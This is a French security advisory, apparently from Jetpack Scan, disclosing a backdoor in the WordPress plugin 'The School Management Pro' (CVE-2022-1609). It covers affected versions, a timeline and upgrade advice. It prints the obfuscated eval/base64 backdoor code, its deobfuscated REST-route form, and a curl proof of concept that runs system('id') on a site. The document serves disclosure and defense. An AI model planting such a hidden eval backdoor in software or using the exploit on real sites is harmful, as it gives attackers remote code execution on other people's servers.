Les versions antérieures à la version 9.9.7 de l’extension WordPress « The School Management Pro » de Weblizar contiennent une porte dérobée permettant à un attaquant non authentifié d’exécuter du code PHP arbitraire sur les sites où l’extension est installée. Si une version antérieure est installée sur votre site, nous vous recommandons vivement de passer immédiatement à la version 9.9.7 ou ultérieure. Il s’agit d’un problème de sécurité critique.
Poursuivez votre lecture pour découvrir tous les détails.
Détails :
- Nom de l’extension : The School Management Pro
- Identifiant de l’extension :
school-management-pro,school-management-pro-9.9.6,school-management-pro-9.9.5,the-school-management, etc. - Fournisseur : Weblizar
- Versions concernées : < 9.9.7
- CVE : CVE-2022-1609
- Score CVSS : 10.0 (critique)
- Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- WPVULNDB : https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
Une partie du travail de Jetpack Scan consiste à aider notre activité WordPress hébergée en vérifiant les fichiers suspects trouvés sur les sites que nous hébergeons. Généralement, cela est dû au fait qu’un fichier a été signalé par l’une de nos signatures, ou que le propriétaire du site a découvert un élément suspect et souhaite connaître notre avis. Comme on peut s’y attendre, certains de ces fichiers sont inoffensifs, certains sont des faux positifs et certains sont de nouvelles variantes ou souches de logiciels malveillants dont la classification correcte nécessite davantage de travail.
Cependant, il arrive que ce que nous découvrons soit bien plus intéressant.
Un incident de ce type s’est produit il y a quelques semaines. L’équipe d’assistance renforcée de WordPress.com nous a contactés au sujet d’un code obfusqué, manifestement malveillant, découvert dans une extension sur plusieurs sites.
}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey
Après deux étapes de désobfuscation élémentaire, on obtient :
add_action( 'rest_api_init', function() {
register_rest_route(
'am-member', 'license',
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => function( $request ) {
$args = $request->get_params();
if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
eval( $args['blowf'] );
}
},
)
);
} );
Le code en lui-même n’est pas particulièrement intéressant : il s’agit d’une porte dérobée évidente injectée dans le code de vérification de licence de l’extension. Elle permet à n’importe quel attaquant d’exécuter du code PHP arbitraire sur le site où l’extension est installée, comme le montre la preuve de concept ci-dessous :
$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713
C’est le genre de chose que nous voyons souvent dans les extensions piratées ; cela arrive si fréquemment que nous avons déjà traité un cas similaire dans un article précédent. Notre première hypothèse était qu’il s’agissait également de cela ici : les propriétaires du site avaient installé une extension provenant d’une source douteuse.
Cependant, on nous a assuré que les extensions installées provenaient directement du fournisseur. Le fournisseur a également rapidement confirmé ce fait et supprimé le code problématique après avoir été informé de sa présence.
Nous avons tenté d’obtenir davantage d’informations auprès du fournisseur : quand la porte dérobée avait été injectée, quelles versions étaient concernées et comment le code s’était retrouvé dans l’extension à l’origine. Cette démarche n’a pas abouti, car le fournisseur affirme ne pas savoir quand ni comment le code a été intégré à son logiciel.
Nous avons observé dans nos systèmes hébergés des versions contenant la porte dérobée, au moins à partir de la version 8.9, mais comme nous ne disposons d’aucune information précise sur la date d’apparition initiale de la porte dérobée, nous devons considérer que toutes les versions antérieures à la version 9.9.7 sont concernées.
La détection et le signalement du problème sont encore compliqués par le fait que l’extension utilise plusieurs identifiants différents, souvent des identifiants contenant le numéro de version. Dans nos systèmes hébergés, nous avons observé au moins les variantes suivantes :
school-managementschool-management-v*school-management-proschool-management-pro-*the-school-management
La version gratuite du dépôt d’extensions de WordPress.org ne contient pas le code de licence et n’est pas non plus concernée par cette porte dérobée.
Chronologie
2022-05-04 : l’équipe d’assistance renforcée de WordPress.com découvre le code injecté et contacte Jetpack Scan afin d’analyser et de vérifier cette découverte. Après avoir confirmé qu’il s’agit d’une porte dérobée, elle en informe le fournisseur.
2022-05-05 : le fournisseur confirme que le code injecté figure bien dans sa distribution et nous fournit une version 9.9.7 dont la porte dérobée a été supprimée. Nous confirmons qu’elle est propre.
2022-05-06 : le fournisseur distribue activement la version 9.9.7 à ses clients et les encourage à effectuer la mise à jour.
2022-05-10 : le fournisseur répond à nos questions complémentaires sur sa connaissance de la date d’ajout de la porte dérobée, mais affirme ne pas le savoir. Il nous fournit toutefois une version antérieure, la version 9.9.4, qui contient la porte dérobée.
Conclusion
Nous recommandons à tout site sur lequel une version antérieure à la version 9.9.7 de The School Management Pro est installée d’effectuer immédiatement la mise à jour.
Chez Jetpack, nous mettons tout en œuvre pour protéger vos sites Web contre ce type de vulnérabilité. Nous vous recommandons de disposer d’un plan de sécurité pour votre site comprenant l’analyse des fichiers malveillants et des sauvegardes. Jetpack Security est une excellente solution de sécurité WordPress pour garantir la sécurité de votre site et de vos visiteurs.
Remerciements
Cette étude est le fruit d’une collaboration entre l’équipe d’assistance renforcée de WordPress.com, avec Nic Sevic, Thom Stackhouse et Joshua Goode, et Jetpack Scan, avec Harald Eilertsen et Fioravante Cavallari. Nous remercions également Benedict Singer pour ses commentaires et ses corrections.



